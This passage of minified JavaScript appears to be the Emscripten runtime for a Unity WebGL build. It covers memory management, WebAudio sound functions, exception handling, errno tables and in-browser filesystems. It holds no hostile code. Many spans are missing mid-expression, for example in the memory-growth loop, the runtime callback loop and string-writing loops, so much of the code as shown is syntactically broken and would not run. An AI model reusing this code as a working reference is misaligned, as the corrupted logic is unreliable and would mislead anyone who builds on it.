Int16Array(buffer);Module["HEAP32"]=HEAP32=new Int32Array(buffer);Module["HEAPU8"]=HEAPU8=new Uint8Array(buffer);Module["HEAPU16"]=HEAPU16=new Uint16Array(buffer);Module["HEAPU32"]=HEAPU32=new Uint32Array(buffer);Module["HEAPF32"]=HEAPF32=new Float32Array(buffer);Module["HEAPF64"]=HEAPF64=new Float64Array(buffer)}var STATIC_BASE,STATICTOP,staticSealed;var STACK_BASE,STACKTOP,STACK_MAX;var DYNAMIC_BASE,DYNAMICTOP_PTR;STATIC_BASE=STATICTOP=STACK_BASE=STACKTOP=STACK_MAX=DYNAMIC_BASE=DYNAMICTOP_PTR=0;staticSealed=false;function abortOnCannotGrowMemory(){abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value "+TOTAL_MEMORY+", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")}if(!Module["reallocBuffer"])Module["reallocBuffer"]=(function(size){var ret;try{if(ArrayBuffer.transfer){ret=ArrayBuffer.transfer(buffer,size)}else{var oldHEAP8=HEAP8;ret=new ArrayBuffer(size);var temp=new Int8Array(ret);temp.set(oldHEAP8)}}catch(e){return false}var success=_emscripten_replace_memory(ret);if(!success)return false;return ret});function enlargeMemory(){var PAGE_MULTIPLE=Module["usingWasm"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;var LIMIT=2147483648-PAGE_MULTIPLE;if(HEAP32[DYNAMICTOP_PTR>>2]>LIMIT){return false}var OLD_TOTAL_MEMORY=TOTAL_MEMORY;TOTAL_MEMORY=Math.max(TOTAL_MEMORY,MIN_TOTAL_MEMORY);while(TOTAL_MEMORY>2]){if(TOTAL_MEMORY<=536870912){TOTAL_MEMORY=alignUp(2*TOTAL_MEMORY,PAGE_MULTIPLE)}else{TOTAL_MEMORY=Math.min(alignUp((3*TOTAL_MEMORY+2147483648)/4,PAGE_MULTIPLE),LIMIT)}}var replacement=Module["reallocBuffer"](TOTAL_MEMORY);if(!replacement||replacement.byteLength!=TOTAL_MEMORY){TOTAL_MEMORY=OLD_TOTAL_MEMORY;return false}updateGlobalBuffer(replacement);updateGlobalBufferViews();return true}var byteLength;try{byteLength=Function.prototype.call.bind(Object.getOwnPropertyDescriptor(ArrayBuffer.prototype,"byteLength").get);byteLength(new ArrayBuffer(4))}catch(e){byteLength=(function(buffer){return buffer.byteLength})}var TOTAL_STACK=Module["TOTAL_STACK"]||5242880;var TOTAL_MEMORY=Module["TOTAL_MEMORY"]||33554432;if(TOTAL_MEMORY0){var callback=callbacks.shift();if(typeof callback=="function"){callback();continue}var func=callback.func;if(typeof func==="number"){if(callback.arg===undefined){Module["dynCall_v"](func)}else{Module["dynCall_vi"](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var __ATPRERUN__=[];var __ATINIT__=[];var __ATMAIN__=[];var __ATEXIT__=[];var __ATPOSTRUN__=[];var runtimeInitialized=false;var runtimeExited=false;function preRun(){if(Module["preRun"]){if(typeof Module["preRun"]=="function")Module["preRun"]=[Module["preRun"]];while(Module["preRun"].length){addOnPreRun(Module["preRun"].shift())}}callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function postRun(){if(Module["postRun"]){if(typeof Module["postRun"]=="function")Module["postRun"]=[Module["postRun"]];while(Module["postRun"].length){addOnPostRun(Module["postRun"].shift())}}callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(cb){__ATPRERUN__.unshift(cb)}function addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}function writeArrayToMemory(array,buffer){HEAP8.set(array,buffer)}function writeAsciiToMemory(str,buffer,dontAddNull){for(var i=0;i>0]=str.charCodeAt(i)}if(!dontAddNull)HEAP8[buffer>>0]=0}function unSign(value,bits,ignore){if(value>=0){return value}return bits<=32?2*Math.abs(1<=half&&(bits<=32||value>half)){value=-2*half+value}return value}var Math_abs=Math.abs;var Math_cos=Math.cos;var Math_sin=Math.sin;var Math_sqrt=Math.sqrt;var Math_ceil=Math.ceil;var Math_floor=Math.floor;var Math_pow=Math.pow;var Math_min=Math.min;var Math_clz32=Math.clz32;var Math_trunc=Math.trunc;var runDependencies=0;var runDependencyWatcher=null;var dependenciesFulfilled=null;function getUniqueRunDependency(id){return id}function addRunDependency(id){runDependencies++;if(Module["monitorRunDependencies"]){Module["monitorRunDependencies"](runDependencies)}}function removeRunDependency(id){runDependencies--;if(Module["monitorRunDependencies"]){Module["monitorRunDependencies"](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}}Module["preloadedImages"]={};Module["preloadedAudios"]={};var dataURIPrefix="data:application/octet-stream;base64,";function isDataURI(filename){return String.prototype.startsWith?filename.startsWith(dataURIPrefix):filename.indexOf(dataURIPrefix)===0}function integrateWasmJS(){var wasmTextFile="build.wast";var wasmBinaryFile="build.wasm";var asmjsCodeFile="build.temp.asm.js";if(!isDataURI(wasmTextFile)){wasmTextFile=locateFile(wasmTextFile)}if(!isDataURI(wasmBinaryFile)){wasmBinaryFile=locateFile(wasmBinaryFile)}if(!isDataURI(asmjsCodeFile)){asmjsCodeFile=locateFile(asmjsCodeFile)}var wasmPageSize=64*1024;var info={"global":null,"env":null,"asm2wasm":asm2wasmImports,"parent":Module};var exports=null;function mergeMemory(newBuffer){var oldBuffer=Module["buffer"];if(newBuffer.byteLength>2)+length*i;var buffer=sound.buffer;var copyToChannel=buffer["copyToChannel"]||(function(source,channelNumber,startInChannel){var clipped=source.subarray(0,Math.min(source.length,this.length-(startInChannel|0)));this.getChannelData(channelNumber|0).set(clipped,startInChannel|0)});copyToChannel.apply(buffer,[HEAPF32.subarray(offs,offs+length),i,0])}var instance=WEBAudio.audioInstances.push(sound)-1;return instance}function _JS_Sound_Play(bufferInstance,channelInstance,offset,delay){_JS_Sound_Stop(channelInstance,0);if(WEBAudio.audioWebEnabled==0)return;var sound=WEBAudio.audioInstances[bufferInstance];var channel=WEBAudio.audioInstances[channelInstance];if(sound.buffer){try{channel.playBuffer(WEBAudio.audioContext.currentTime+delay,sound.buffer,offset)}catch(e){console.error("playBuffer error. Exception: "+e)}}else console.log("Trying to play sound which is not loaded.")}function _JS_Sound_ReleaseInstance(instance){WEBAudio.audioInstances[instance]=null}function _JS_Sound_ResumeIfNeeded(){if(WEBAudio.audioWebEnabled==0)return;if(WEBAudio.audioContext.state==="suspended")WEBAudio.audioContext.resume()}function _JS_Sound_Set3D(channelInstance,threeD){var channel=WEBAudio.audioInstances[channelInstance];if(channel.threeD!=threeD){channel.threeD=threeD;channel.setupPanning()}}function _JS_Sound_SetListenerOrientation(x,y,z,xUp,yUp,zUp){if(WEBAudio.audioWebEnabled==0)return;if(WEBAudio.audioContext.listener.forwardX){WEBAudio.audioContext.listener.forwardX.setValueAtTime(-x,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.forwardY.setValueAtTime(-y,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.forwardZ.setValueAtTime(-z,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.upX.setValueAtTime(xUp,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.upY.setValueAtTime(yUp,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.upZ.setValueAtTime(zUp,WEBAudio.audioContext.currentTime)}else{WEBAudio.audioContext.listener.setOrientation(-x,-y,-z,xUp,yUp,zUp)}}function _JS_Sound_SetListenerPosition(x,y,z){if(WEBAudio.audioWebEnabled==0)return;if(WEBAudio.audioContext.listener.positionX){WEBAudio.audioContext.listener.positionX.setValueAtTime(x,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.positionY.setValueAtTime(y,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.positionZ.setValueAtTime(z,WEBAudio.audioContext.currentTime)}else{WEBAudio.audioContext.listener.setPosition(x,y,z)}}function _JS_Sound_SetLoop(channelInstance,loop){if(WEBAudio.audioWebEnabled==0)return;WEBAudio.audioInstances[channelInstance].source.loop=loop}function _JS_Sound_SetLoopPoints(channelInstance,loopStart,loopEnd){if(WEBAudio.audioWebEnabled==0)return;var channel=WEBAudio.audioInstances[channelInstance];channel.source.loopStart=loopStart;channel.source.loopEnd=loopEnd}function _JS_Sound_SetPitch(channelInstance,v){if(WEBAudio.audioWebEnabled==0)return;try{WEBAudio.audioInstances[channelInstance].source.playbackRate.setValueAtTime(v,WEBAudio.audioContext.currentTime)}catch(e){console.error("Invalid audio pitch "+v+" specified to WebAudio backend!")}}function _JS_Sound_SetPosition(channelInstance,x,y,z){if(WEBAudio.audioWebEnabled==0)return;WEBAudio.audioInstances[channelInstance].panner.setPosition(x,y,z)}function _JS_Sound_SetVolume(channelInstance,v){if(WEBAudio.audioWebEnabled==0)return;try{WEBAudio.audioInstances[channelInstance].gain.gain.setValueAtTime(v,WEBAudio.audioContext.currentTime)}catch(e){console.error("Invalid audio volume "+v+" specified to WebAudio backend!")}}function _JS_Sound_Stop(channelInstance,delay){if(WEBAudio.audioWebEnabled==0)return;var channel=WEBAudio.audioInstances[channelInstance];if(channel.source.buffer){try{channel.source.stop(WEBAudio.audioContext.currentTime+delay)}catch(e){channel.source.disconnect()}if(delay==0){channel.source.onended=(function(){});channel.setup()}}}function _JS_SystemInfo_GetCanvasClientSize(domElementSelector,outWidth,outHeight){var selector=UTF8ToString(domElementSelector);var canvas=selector=="#canvas"?Module["canvas"]:document.querySelector(selector);HEAPF64[outWidth>>3]=canvas?canvas.clientWidth:0;HEAPF64[outHeight>>3]=canvas?canvas.clientHeight:0}function _JS_SystemInfo_GetDocumentURL(buffer,bufferSize){if(buffer)stringToUTF8(document.URL,buffer,bufferSize);return lengthBytesUTF8(document.URL)}function _JS_SystemInfo_GetGPUInfo(buffer,bufferSize){var gpuinfo=Module.SystemInfo.gpu;if(buffer)stringToUTF8(gpuinfo,buffer,bufferSize);return lengthBytesUTF8(gpuinfo)}function _JS_SystemInfo_GetMatchWebGLToCanvasSize(){return Module.matchWebGLToCanvasSize||Module.matchWebGLToCanvasSize===undefined}function _JS_SystemInfo_GetMemory(){return TOTAL_MEMORY/(1024*1024)}function _JS_SystemInfo_GetOS(buffer,bufferSize){var browser=Module.SystemInfo.os+" "+Module.SystemInfo.osVersion;if(buffer)stringToUTF8(browser,buffer,bufferSize);return lengthBytesUTF8(browser)}function _JS_SystemInfo_GetPreferredDevicePixelRatio(){return Module.devicePixelRatio||window.devicePixelRatio||1}function _JS_SystemInfo_GetScreenSize(outWidth,outHeight){HEAPF64[outWidth>>3]=Module.SystemInfo.width;HEAPF64[outHeight>>3]=Module.SystemInfo.height}function _JS_SystemInfo_HasCursorLock(){return Module.SystemInfo.hasCursorLock}function _JS_SystemInfo_HasFullscreen(){return Module.SystemInfo.hasFullscreen}function _JS_SystemInfo_HasWebGL(){return Module.SystemInfo.hasWebGL}function ___atomic_compare_exchange_8(ptr,expected,desiredl,desiredh,weak,success_memmodel,failure_memmodel){var pl=HEAP32[ptr>>2];var ph=HEAP32[ptr+4>>2];var el=HEAP32[expected>>2];var eh=HEAP32[expected+4>>2];if(pl===el&&ph===eh){HEAP32[ptr>>2]=desiredl;HEAP32[ptr+4>>2]=desiredh;return 1}else{HEAP32[expected>>2]=pl;HEAP32[expected+4>>2]=ph;return 0}}function ___atomic_fetch_add_8(ptr,vall,valh,memmodel){var l=HEAP32[ptr>>2];var h=HEAP32[ptr+4>>2];HEAP32[ptr>>2]=_i64Add(l,h,vall,valh);HEAP32[ptr+4>>2]=getTempRet0();return(setTempRet0(h),l)|0}var ENV={};function ___buildEnvironment(environ){var MAX_ENV_VALUES=64;var TOTAL_ENV_SIZE=1024;var poolPtr;var envPtr;if(!___buildEnvironment.called){___buildEnvironment.called=true;ENV["USER"]=ENV["LOGNAME"]="web_user";ENV["PATH"]="/";ENV["PWD"]="/";ENV["HOME"]="/home/web_user";ENV["LANG"]="C.UTF-8";ENV["_"]=Module["thisProgram"];poolPtr=getMemory(TOTAL_ENV_SIZE);envPtr=getMemory(MAX_ENV_VALUES*4);HEAP32[envPtr>>2]=poolPtr;HEAP32[environ>>2]=envPtr}else{envPtr=HEAP32[environ>>2];poolPtr=HEAP32[envPtr>>2]}var strings=[];var totalSize=0;for(var key in ENV){if(typeof ENV[key]==="string"){var line=key+"="+ENV[key];strings.push(line);totalSize+=line.length}}if(totalSize>TOTAL_ENV_SIZE){throw new Error("Environment size exceeded TOTAL_ENV_SIZE!")}var ptrSize=4;for(var i=0;i>2]=poolPtr;poolPtr+=line.length+1}HEAP32[envPtr+strings.length*ptrSize>>2]=0}function ___cxa_allocate_exception(size){return _malloc(size)}function __ZSt18uncaught_exceptionv(){return!!__ZSt18uncaught_exceptionv.uncaught_exception}var EXCEPTIONS={last:0,caught:[],infos:{},deAdjust:(function(adjusted){if(!adjusted||EXCEPTIONS.infos[adjusted])return adjusted;for(var key in EXCEPTIONS.infos){var ptr=+key;var info=EXCEPTIONS.infos[ptr];if(info.adjusted===adjusted){return ptr}}return adjusted}),addRef:(function(ptr){if(!ptr)return;var info=EXCEPTIONS.infos[ptr];info.refcount++}),decRef:(function(ptr){if(!ptr)return;var info=EXCEPTIONS.infos[ptr];assert(info.refcount>0);info.refcount--;if(info.refcount===0&&!info.rethrown){if(info.destructor){Module["dynCall_vi"](info.destructor,ptr)}delete EXCEPTIONS.infos[ptr];___cxa_free_exception(ptr)}}),clearRef:(function(ptr){if(!ptr)return;var info=EXCEPTIONS.infos[ptr];info.refcount=0})};function ___cxa_begin_catch(ptr){var info=EXCEPTIONS.infos[ptr];if(info&&!info.caught){info.caught=true;__ZSt18uncaught_exceptionv.uncaught_exception--}if(info)info.rethrown=false;EXCEPTIONS.caught.push(ptr);EXCEPTIONS.addRef(EXCEPTIONS.deAdjust(ptr));return ptr}function ___cxa_free_exception(ptr){try{return _free(ptr)}catch(e){}}function ___cxa_end_catch(){Module["setThrew"](0);var ptr=EXCEPTIONS.caught.pop();if(ptr){EXCEPTIONS.decRef(EXCEPTIONS.deAdjust(ptr));EXCEPTIONS.last=0}}function ___cxa_find_matching_catch_2(){return ___cxa_find_matching_catch.apply(null,arguments)}function ___cxa_find_matching_catch_3(){return ___cxa_find_matching_catch.apply(null,arguments)}function ___cxa_find_matching_catch_4(){return ___cxa_find_matching_catch.apply(null,arguments)}function ___cxa_pure_virtual(){ABORT=true;throw"Pure virtual function called!"}function ___cxa_rethrow(){var ptr=EXCEPTIONS.caught.pop();ptr=EXCEPTIONS.deAdjust(ptr);if(!EXCEPTIONS.infos[ptr].rethrown){EXCEPTIONS.caught.push(ptr);EXCEPTIONS.infos[ptr].rethrown=true}EXCEPTIONS.last=ptr;throw ptr}function ___resumeException(ptr){if(!EXCEPTIONS.last){EXCEPTIONS.last=ptr}throw ptr}function ___cxa_find_matching_catch(){var thrown=EXCEPTIONS.last;if(!thrown){return(setTempRet0(0),0)|0}var info=EXCEPTIONS.infos[thrown];var throwntype=info.type;if(!throwntype){return(setTempRet0(0),thrown)|0}var typeArray=Array.prototype.slice.call(arguments);var pointer=Module["___cxa_is_pointer_type"](throwntype);if(!___cxa_find_matching_catch.buffer)___cxa_find_matching_catch.buffer=_malloc(4);HEAP32[___cxa_find_matching_catch.buffer>>2]=thrown;thrown=___cxa_find_matching_catch.buffer;for(var i=0;i>2];info.adjusted=thrown;return(setTempRet0(typeArray[i]),thrown)|0}}thrown=HEAP32[thrown>>2];return(setTempRet0(throwntype),thrown)|0}function ___cxa_throw(ptr,type,destructor){EXCEPTIONS.infos[ptr]={ptr:ptr,adjusted:ptr,type:type,destructor:destructor,refcount:0,caught:false,rethrown:false};EXCEPTIONS.last=ptr;if(!("uncaught_exception"in __ZSt18uncaught_exceptionv)){__ZSt18uncaught_exceptionv.uncaught_exception=1}else{__ZSt18uncaught_exceptionv.uncaught_exception++}throw ptr}function ___gxx_personality_v0(){}function ___lock(){}var ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86};function ___setErrNo(value){if(Module["___errno_location"])HEAP32[Module["___errno_location"]()>>2]=value;return value}function ___map_file(pathname,size){___setErrNo(ERRNO_CODES.EPERM);return-1}var ERRNO_MESSAGES={0:"Success",1:"Not super-user",2:"No such file or directory",3:"No such process",4:"Interrupted system call",5:"I/O error",6:"No such device or address",7:"Arg list too long",8:"Exec format error",9:"Bad file number",10:"No children",11:"No more processes",12:"Not enough core",13:"Permission denied",14:"Bad address",15:"Block device required",16:"Mount device busy",17:"File exists",18:"Cross-device link",19:"No such device",20:"Not a directory",21:"Is a directory",22:"Invalid argument",23:"Too many open files in system",24:"Too many open files",25:"Not a typewriter",26:"Text file busy",27:"File too large",28:"No space left on device",29:"Illegal seek",30:"Read only file system",31:"Too many links",32:"Broken pipe",33:"Math arg out of domain of func",34:"Math result not representable",35:"File locking deadlock error",36:"File or path name too long",37:"No record locks available",38:"Function not implemented",39:"Directory not empty",40:"Too many symbolic links",42:"No message of desired type",43:"Identifier removed",44:"Channel number out of range",45:"Level 2 not synchronized",46:"Level 3 halted",47:"Level 3 reset",48:"Link number out of range",49:"Protocol driver not attached",50:"No CSI structure available",51:"Level 2 halted",52:"Invalid exchange",53:"Invalid request descriptor",54:"Exchange full",55:"No anode",56:"Invalid request code",57:"Invalid slot",59:"Bad font file fmt",60:"Device not a stream",61:"No data (for no delay io)",62:"Timer expired",63:"Out of streams resources",64:"Machine is not on the network",65:"Package not installed",66:"The object is remote",67:"The link has been severed",68:"Advertise error",69:"Srmount error",70:"Communication error on send",71:"Protocol error",72:"Multihop attempted",73:"Cross mount point (not really error)",74:"Trying to read unreadable message",75:"Value too large for defined data type",76:"Given log. name not unique",77:"f.d. invalid for this operation",78:"Remote address changed",79:"Can access a needed shared lib",80:"Accessing a corrupted shared lib",81:".lib section in a.out corrupted",82:"Attempting to link in too many libs",83:"Attempting to exec a shared library",84:"Illegal byte sequence",86:"Streams pipe error",87:"Too many users",88:"Socket operation on non-socket",89:"Destination address required",90:"Message too long",91:"Protocol wrong type for socket",92:"Protocol not available",93:"Unknown protocol",94:"Socket type not supported",95:"Not supported",96:"Protocol family not supported",97:"Address family not supported by protocol family",98:"Address already in use",99:"Address not available",100:"Network interface is not configured",101:"Network is unreachable",102:"Connection reset by network",103:"Connection aborted",104:"Connection reset by peer",105:"No buffer space available",106:"Socket is already connected",107:"Socket is not connected",108:"Can't send after socket shutdown",109:"Too many references",110:"Connection timed out",111:"Connection refused",112:"Host is down",113:"Host is unreachable",114:"Socket already connected",115:"Connection already in progress",116:"Stale file handle",122:"Quota exceeded",123:"No medium (in tape drive)",125:"Operation canceled",130:"Previous owner died",131:"State not recoverable"};var PATH={splitPath:(function(filename){var splitPathRe=/^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;return splitPathRe.exec(filename).slice(1)}),normalizeArray:(function(parts,allowAboveRoot){var up=0;for(var i=parts.length-1;i>=0;i--){var last=parts[i];if(last==="."){parts.splice(i,1)}else if(last===".."){parts.splice(i,1);up++}else if(up){parts.splice(i,1);up--}}if(allowAboveRoot){for(;up;up--){parts.unshift("..")}}return parts}),normalize:(function(path){var isAbsolute=path.charAt(0)==="/",trailingSlash=path.substr(-1)==="/";path=PATH.normalizeArray(path.split("/").filter((function(p){return!!p})),!isAbsolute).join("/");if(!path&&!isAbsolute){path="."}if(path&&trailingSlash){path+="/"}return(isAbsolute?"/":"")+path}),dirname:(function(path){var result=PATH.splitPath(path),root=result[0],dir=result[1];if(!root&&!dir){return"."}if(dir){dir=dir.substr(0,dir.length-1)}return root+dir}),basename:(function(path){if(path==="/")return"/";var lastSlash=path.lastIndexOf("/");if(lastSlash===-1)return path;return path.substr(lastSlash+1)}),extname:(function(path){return PATH.splitPath(path)[3]}),join:(function(){var paths=Array.prototype.slice.call(arguments,0);return PATH.normalize(paths.join("/"))}),join2:(function(l,r){return PATH.normalize(l+"/"+r)}),resolve:(function(){var resolvedPath="",resolvedAbsolute=false;for(var i=arguments.length-1;i>=-1&&!resolvedAbsolute;i--){var path=i>=0?arguments[i]:FS.cwd();if(typeof path!=="string"){throw new TypeError("Arguments to path.resolve must be strings")}else if(!path){return""}resolvedPath=path+"/"+resolvedPath;resolvedAbsolute=path.charAt(0)==="/"}resolvedPath=PATH.normalizeArray(resolvedPath.split("/").filter((function(p){return!!p})),!resolvedAbsolute).join("/");return(resolvedAbsolute?"/":"")+resolvedPath||"."}),relative:(function(from,to){from=PATH.resolve(from).substr(1);to=PATH.resolve(to).substr(1);function trim(arr){var start=0;for(;start=0;end--){if(arr[end]!=="")break}if(start>end)return[];return arr.slice(start,end-start+1)}var fromParts=trim(from.split("/"));var toParts=trim(to.split("/"));var length=Math.min(fromParts.length,toParts.length);var samePartsLength=length;for(var i=0;i0){result=buf.slice(0,bytesRead).toString("utf-8")}else{result=null}}else if(typeof window!="undefined"&&typeof window.prompt=="function"){result=window.prompt("Input: ");if(result!==null){result+="\n"}}else if(typeof readline=="function"){result=readline();if(result!==null){result+="\n"}}if(!result){return null}tty.input=intArrayFromString(result,true)}return tty.input.shift()}),put_char:(function(tty,val){if(val===null||val===10){out(UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){out(UTF8ArrayToString(tty.output,0));tty.output=[]}})},default_tty1_ops:{put_char:(function(tty,val){if(val===null||val===10){err(UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){err(UTF8ArrayToString(tty.output,0));tty.output=[]}})}};var MEMFS={ops_table:null,mount:(function(mount){return MEMFS.createNode(null,"/",16384|511,0)}),createNode:(function(parent,name,mode,dev){if(FS.isBlkdev(mode)||FS.isFIFO(mode)){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(!MEMFS.ops_table){MEMFS.ops_table={dir:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,lookup:MEMFS.node_ops.lookup,mknod:MEMFS.node_ops.mknod,rename:MEMFS.node_ops.rename,unlink:MEMFS.node_ops.unlink,rmdir:MEMFS.node_ops.rmdir,readdir:MEMFS.node_ops.readdir,symlink:MEMFS.node_ops.symlink},stream:{llseek:MEMFS.stream_ops.llseek}},file:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:{llseek:MEMFS.stream_ops.llseek,read:MEMFS.stream_ops.read,write:MEMFS.stream_ops.write,allocate:MEMFS.stream_ops.allocate,mmap:MEMFS.stream_ops.mmap,msync:MEMFS.stream_ops.msync}},link:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,readlink:MEMFS.node_ops.readlink},stream:{}},chrdev:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:FS.chrdev_stream_ops}}}var node=FS.createNode(parent,name,mode,dev);if(FS.isDir(node.mode)){node.node_ops=MEMFS.ops_table.dir.node;node.stream_ops=MEMFS.ops_table.dir.stream;node.contents={}}else if(FS.isFile(node.mode)){node.node_ops=MEMFS.ops_table.file.node;node.stream_ops=MEMFS.ops_table.file.stream;node.usedBytes=0;node.contents=null}else if(FS.isLink(node.mode)){node.node_ops=MEMFS.ops_table.link.node;node.stream_ops=MEMFS.ops_table.link.stream}else if(FS.isChrdev(node.mode)){node.node_ops=MEMFS.ops_table.chrdev.node;node.stream_ops=MEMFS.ops_table.chrdev.stream}node.timestamp=Date.now();if(parent){parent.contents[name]=node}return node}),getFileDataAsRegularArray:(function(node){if(node.contents&&node.contents.subarray){var arr=[];for(var i=0;inode.contents.length){node.contents=MEMFS.getFileDataAsRegularArray(node);node.usedBytes=node.contents.length}if(!node.contents||node.contents.subarray){var prevCapacity=node.contents?node.contents.length:0;if(prevCapacity>=newCapacity)return;var CAPACITY_DOUBLING_MAX=1024*1024;newCapacity=Math.max(newCapacity,prevCapacity*(prevCapacity0)node.contents.set(oldContents.subarray(0,node.usedBytes),0);return}if(!node.contents&&newCapacity>0)node.contents=[];while(node.contents.lengthnewSize)node.contents.length=newSize;else while(node.contents.length=stream.node.usedBytes)return 0;var size=Math.min(stream.node.usedBytes-position,length);assert(size>=0);if(size>8&&contents.subarray){buffer.set(contents.subarray(position,position+size),offset)}else{for(var i=0;i0||position+lengthe2.timestamp){create.push(key);total++}}));var remove=[];Object.keys(dst.entries).forEach((function(key){var e=dst.entries[key];var e2=src.entries[key];if(!e2){remove.push(key);total++}}));if(!total){return callback(null)}var completed=0;var db=src.type==="remote"?src.db:dst.db;var transaction=db.transaction([IDBFS.DB_STORE_NAME],"readwrite");var store=transaction.objectStore(IDBFS.DB_STORE_NAME);function done(err){if(err){if(!done.errored){done.errored=true;return callback(err)}return}if(++completed>=total){return callback(null)}}transaction.onerror=(function(e){done(this.error);e.preventDefault()});create.sort().forEach((function(path){if(dst.type==="local"){IDBFS.loadRemoteEntry(store,path,(function(err,entry){if(err)return done(err);IDBFS.storeLocalEntry(path,entry,done)}))}else{IDBFS.loadLocalEntry(path,(function(err,entry){if(err)return done(err);IDBFS.storeRemoteEntry(store,path,entry,done)}))}}));remove.sort().reverse().forEach((function(path){if(dst.type==="local"){IDBFS.removeLocalEntry(path,done)}else{IDBFS.removeRemoteEntry(store,path,done)}}))})};var NODEFS={isWindows:false,staticInit:(function(){NODEFS.isWindows=!!process.platform.match(/^win/);var flags=process["binding"]("constants");if(flags["fs"]){flags=flags["fs"]}NODEFS.flagsForNodeMap={"1024":flags["O_APPEND"],"64":flags["O_CREAT"],"128":flags["O_EXCL"],"0":flags["O_RDONLY"],"2":flags["O_RDWR"],"4096":flags["O_SYNC"],"512":flags["O_TRUNC"],"1":flags["O_WRONLY"]}}),bufferFrom:(function(arrayBuffer){return Buffer.alloc?Buffer.from(arrayBuffer):new Buffer(arrayBuffer)}),mount:(function(mount){assert(ENVIRONMENT_IS_NODE);return NODEFS.createNode(null,"/",NODEFS.getMode(mount.opts.root),0)}),createNode:(function(parent,name,mode,dev){if(!FS.isDir(mode)&&!FS.isFile(mode)&&!FS.isLink(mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=FS.createNode(parent,name,mode);node.node_ops=NODEFS.node_ops;node.stream_ops=NODEFS.stream_ops;return node}),getMode:(function(path){var stat;try{stat=fs.lstatSync(path);if(NODEFS.isWindows){stat.mode=stat.mode|(stat.mode&292)>>2}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return stat.mode}),realPath:(function(node){var parts=[];while(node.parent!==node){parts.push(node.name);node=node.parent}parts.push(node.mount.opts.root);parts.reverse();return PATH.join.apply(null,parts)}),flagsForNode:(function(flags){flags&=~2097152;flags&=~2048;flags&=~32768;flags&=~524288;var newFlags=0;for(var k in NODEFS.flagsForNodeMap){if(flags&k){newFlags|=NODEFS.flagsForNodeMap[k];flags^=k}}if(!flags){return newFlags}else{throw new 